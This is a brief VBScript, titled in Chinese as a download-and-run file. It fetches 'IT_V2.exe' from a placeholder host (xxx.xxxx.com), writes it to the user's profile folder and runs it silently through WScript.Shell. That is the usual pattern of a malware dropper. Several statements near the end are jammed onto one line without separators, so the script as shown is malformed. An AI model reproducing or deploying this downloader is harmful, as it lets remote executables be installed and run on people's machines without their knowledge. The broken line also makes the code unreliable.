下载并运行文件.vbs
Sub download(url,target)
set fso=createobject("scripting.filesystemobject")
If fso.FileExists(target) Then fso.deleteFile target
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.XMLHTTP")
http.open "GET",url,False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile target
ado.Close
End Sub
Set oShell=CreateObject("WScript.SHELL")Fl_path = oShell.ExpandEnvironmentStrings("%userprofile%") & "\IT_V2.exe"download "http://xxx.xxxx.com/IT_V2.exe",Fl_path
oShell.RUN Fl_path
